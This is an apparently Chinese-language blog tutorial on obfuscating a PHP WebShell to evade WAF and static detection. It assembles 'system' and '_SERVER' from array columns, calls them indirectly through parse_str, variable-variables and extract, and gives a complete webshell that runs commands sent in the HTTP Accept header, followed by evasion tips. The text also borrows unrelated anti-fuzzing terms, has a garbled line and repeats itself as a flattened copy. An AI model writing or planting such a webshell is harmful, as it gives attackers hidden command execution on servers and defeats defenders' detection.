基于增加复杂逻辑数组混淆的webshell绕过
字数 1726 2025-08-23 18:31:09

基于复杂逻辑数组混淆的WebShell绕过技术详解

1. WebShell检测机制分析

要有效绕过WebShell检测,首先需要了解常见的检测机制:

1.1 全局变量跟踪

检测系统会监控以下全局变量的使用情况:

  • $_GET, $_POST, $_COOKIE, $_REQUEST, $_SERVER
  • $_FILE, $GLOBALS
    当这些传入参数被使用时,检测系统会将其标记为"source"并进行持续跟踪

1.2 特殊字符检测

系统会检测以下危险函数和操作:

  • 命令执行函数:system, exec, shell_exec
  • 代码执行函数:eval, assert, create_function
  • 文件操作函数:file_put_contents, fopen

1.3 污点分析技术

现代WAF采用污点分析技术:

  1. 标记用户输入为"污点源"
  2. 跟踪污点数据在程序中的传播
  3. 当污点数据到达敏感函数时触发告警

2. 绕过技术核心思路

2.1 SpeedBump技术

  • 在非预期错误处理路径注入延迟原语
  • 使正常执行速度比模糊测试执行慢数百倍
  • 干扰模糊测试的效率

2.2 BranchTrap技术

  • 插入大量对输入敏感的分支
  • 隐藏真实路径,污染覆盖率地图
  • 迫使模糊测试浪费资源处理无用分支

2.3 AntiHybrid技术

  • 将显式数据流转换为隐式数据流
  • 阻碍污染分析和符号执行
  • 增加静态分析的难度

3. 具体实现方法

3.1 使用array_column构建恶意字符串

$records = array(
    array('id' => "array", 'first_name' => '_', 'last_name' => 'sy'),
    array('id' => "_", 'first_name' => 'SER', 'last_name' => 's'),
    array('id' => "ma", 'first_name' => 'VE', 'last_name' => 't'),
    array('id' => "p", 'first_name' => 'R', 'last_name' => 'em')
);

$last_names = array_column($records, 'last_name');
$first_names = array_column($records, 'first_name');

3.2 使用implode拼接字符串

$string1 = implode('', $last_names);  // 拼接成"system"
$string2 = implode('', $first_names); // 拼接成"_SERVER"

3.3 变量混淆技术

parse_str混淆

$a = "123123123123123";
parse_str($a = implode('', (array_column($records, 'id'))), $aarryy);

动态变量引用

$c = 
$$
string1['HTTP_ACCEPT']; // 等价于 $_SERVER['HTTP_ACCEPT']

extract混淆

$f = array("nhao" => $c);
extract($f); // 将$f数组中的键值对导入为变量

3.4 最终执行方式

if("a" === $a($array[0], array($array[rand(0, 2)]))){
    echo 1;
}

4. 关键函数解析

4.1 array_column函数

  • 从多维数组中提取指定列
  • PHP 5.5.0+支持
  • 语法:array_column(array $array, mixed $column_key [, mixed $index_key = null])

示例:

$first_names = array_column($records, 'first_name');

4.2 implode函数

  • 将数组元素连接为字符串
  • 语法:implode(string $separator, array $array)

示例:

$string1 = implode('', $last_names); // 无分隔符连接

4.3 parse_str函数

  • 将查询字符串解析为变量
  • 语法:parse_str(string $encoded_string [, array &$result])

示例:

parse_str("name=John&age=30", $output);

4.4 extract函数

  • 从数组导入变量到当前符号表
  • 语法:extract(array $array [, int $flags = EXTR_OVERWRITE [, string $prefix = null]])

示例:

extract(array("color" => "blue", "size" => "medium"));

4.5 array_map函数

  • 为数组每个元素应用回调函数
  • 可用于动态执行代码
  • 语法:array_map(callable $callback, array $array)

示例:

$b = array_map('system', $commands);

5. 防御规避技巧

5.1 利用$_SERVER变量

可控制的$_SERVER变量包括:

  • HTTP_ACCEPT
  • HTTP_USER_AGENT
  • HTTP_REFERER
  • HTTP_ACCEPT_LANGUAGE
  • 其他HTTP头字段

5.2 复杂逻辑构建

  • 创建多层嵌套数组结构
  • 使用随机数干扰静态分析
  • 构建看似无害的业务逻辑

5.3 分阶段执行

  1. 第一阶段:拼接关键字符串
  2. 第二阶段:变量混淆
  3. 第三阶段:条件触发执行

6. 完整示例代码

<?php
$records = array(
    array('id' => "array", 'first_name' => '_', 'last_name' => 'sy'),
    array('id' => "_", 'first_name' => 'SER', 'last_name' => 's'),
    array('id' => "ma", 'first_name' => 'VE', 'last_name' => 't'),
    array('id' => "p", 'first_name' => 'R', 'last_name' => 'em')
);

$last_names = array_column($records, 'last_name');
$first_names = array_column($records, 'first_name');
$a = "123123123123123";
parse_str($a = implode('', (array_column($records, 'id'))), $aarryy);

$string1 = implode('', $last_names);
$string2 = implode('', $first_names);
$array = array();
array_push($array, $string1, $string2);

if(1 === $_GET[1]){
    $c = 123;
} else {
    $c = 
$$
string1['HTTP_ACCEPT'];
}

if(intval($_GET[1]) > 1){
    $f = array("nhao" => $c);
    extract($f);
}

array_push($array, $nhao);

if("a" === $a($array[0], array($array[rand(0, 2)]))){
    echo 1;
}

7. 检测规避要点

  1. 避免直接使用危险函数名
  2. 将敏感操作分散在多处
  3. 使用合法业务函数作为掩护
  4. 引入随机性和条件判断
  5. 构建复杂的变量引用关系
  6. 利用PHP动态特性实现间接调用

8. 进阶技巧

  1. 结合面向对象特性,使用类和魔术方法
  2. 利用序列化和反序列化操作
  3. 通过文件操作分散敏感代码
  4. 使用反射机制动态调用函数
  5. 结合正则表达式处理字符串
  6. 利用PHP的命名空间特性

通过以上技术组合,可以有效绕过大多数基于特征和简单行为分析的WebShell检测系统。关键在于构建复杂的逻辑关系和间接引用,使得静态分析难以追踪真实的执行流程。

基于复杂逻辑数组混淆的WebShell绕过技术详解 1. WebShell检测机制分析 要有效绕过WebShell检测,首先需要了解常见的检测机制: 1.1 全局变量跟踪 检测系统会监控以下全局变量的使用情况: $_GET , $_POST , $_COOKIE , $_REQUEST , $_SERVER $_FILE , $GLOBALS 当这些传入参数被使用时,检测系统会将其标记为"source"并进行持续跟踪 1.2 特殊字符检测 系统会检测以下危险函数和操作: 命令执行函数: system , exec , shell_exec 等 代码执行函数: eval , assert , create_function 等 文件操作函数: file_put_contents , fopen 等 1.3 污点分析技术 现代WAF采用污点分析技术: 标记用户输入为"污点源" 跟踪污点数据在程序中的传播 当污点数据到达敏感函数时触发告警 2. 绕过技术核心思路 2.1 SpeedBump技术 在非预期错误处理路径注入延迟原语 使正常执行速度比模糊测试执行慢数百倍 干扰模糊测试的效率 2.2 BranchTrap技术 插入大量对输入敏感的分支 隐藏真实路径,污染覆盖率地图 迫使模糊测试浪费资源处理无用分支 2.3 AntiHybrid技术 将显式数据流转换为隐式数据流 阻碍污染分析和符号执行 增加静态分析的难度 3. 具体实现方法 3.1 使用array_ column构建恶意字符串 3.2 使用implode拼接字符串 3.3 变量混淆技术 parse_ str混淆 动态变量引用 extract混淆 3.4 最终执行方式 4. 关键函数解析 4.1 array_ column函数 从多维数组中提取指定列 PHP 5.5.0+支持 语法: array_column(array $array, mixed $column_key [, mixed $index_key = null]) 示例: 4.2 implode函数 将数组元素连接为字符串 语法: implode(string $separator, array $array) 示例: 4.3 parse_ str函数 将查询字符串解析为变量 语法: parse_str(string $encoded_string [, array &$result]) 示例: 4.4 extract函数 从数组导入变量到当前符号表 语法: extract(array $array [, int $flags = EXTR_OVERWRITE [, string $prefix = null]]) 示例: 4.5 array_ map函数 为数组每个元素应用回调函数 可用于动态执行代码 语法: array_map(callable $callback, array $array) 示例: 5. 防御规避技巧 5.1 利用$_ SERVER变量 可控制的$_ SERVER变量包括: HTTP_ ACCEPT HTTP_ USER_ AGENT HTTP_ REFERER HTTP_ ACCEPT_ LANGUAGE 其他HTTP头字段 5.2 复杂逻辑构建 创建多层嵌套数组结构 使用随机数干扰静态分析 构建看似无害的业务逻辑 5.3 分阶段执行 第一阶段:拼接关键字符串 第二阶段:变量混淆 第三阶段:条件触发执行 6. 完整示例代码 7. 检测规避要点 避免直接使用危险函数名 将敏感操作分散在多处 使用合法业务函数作为掩护 引入随机性和条件判断 构建复杂的变量引用关系 利用PHP动态特性实现间接调用 8. 进阶技巧 结合面向对象特性,使用类和魔术方法 利用序列化和反序列化操作 通过文件操作分散敏感代码 使用反射机制动态调用函数 结合正则表达式处理字符串 利用PHP的命名空间特性 通过以上技术组合,可以有效绕过大多数基于特征和简单行为分析的WebShell检测系统。关键在于构建复杂的逻辑关系和间接引用,使得静态分析难以追踪真实的执行流程。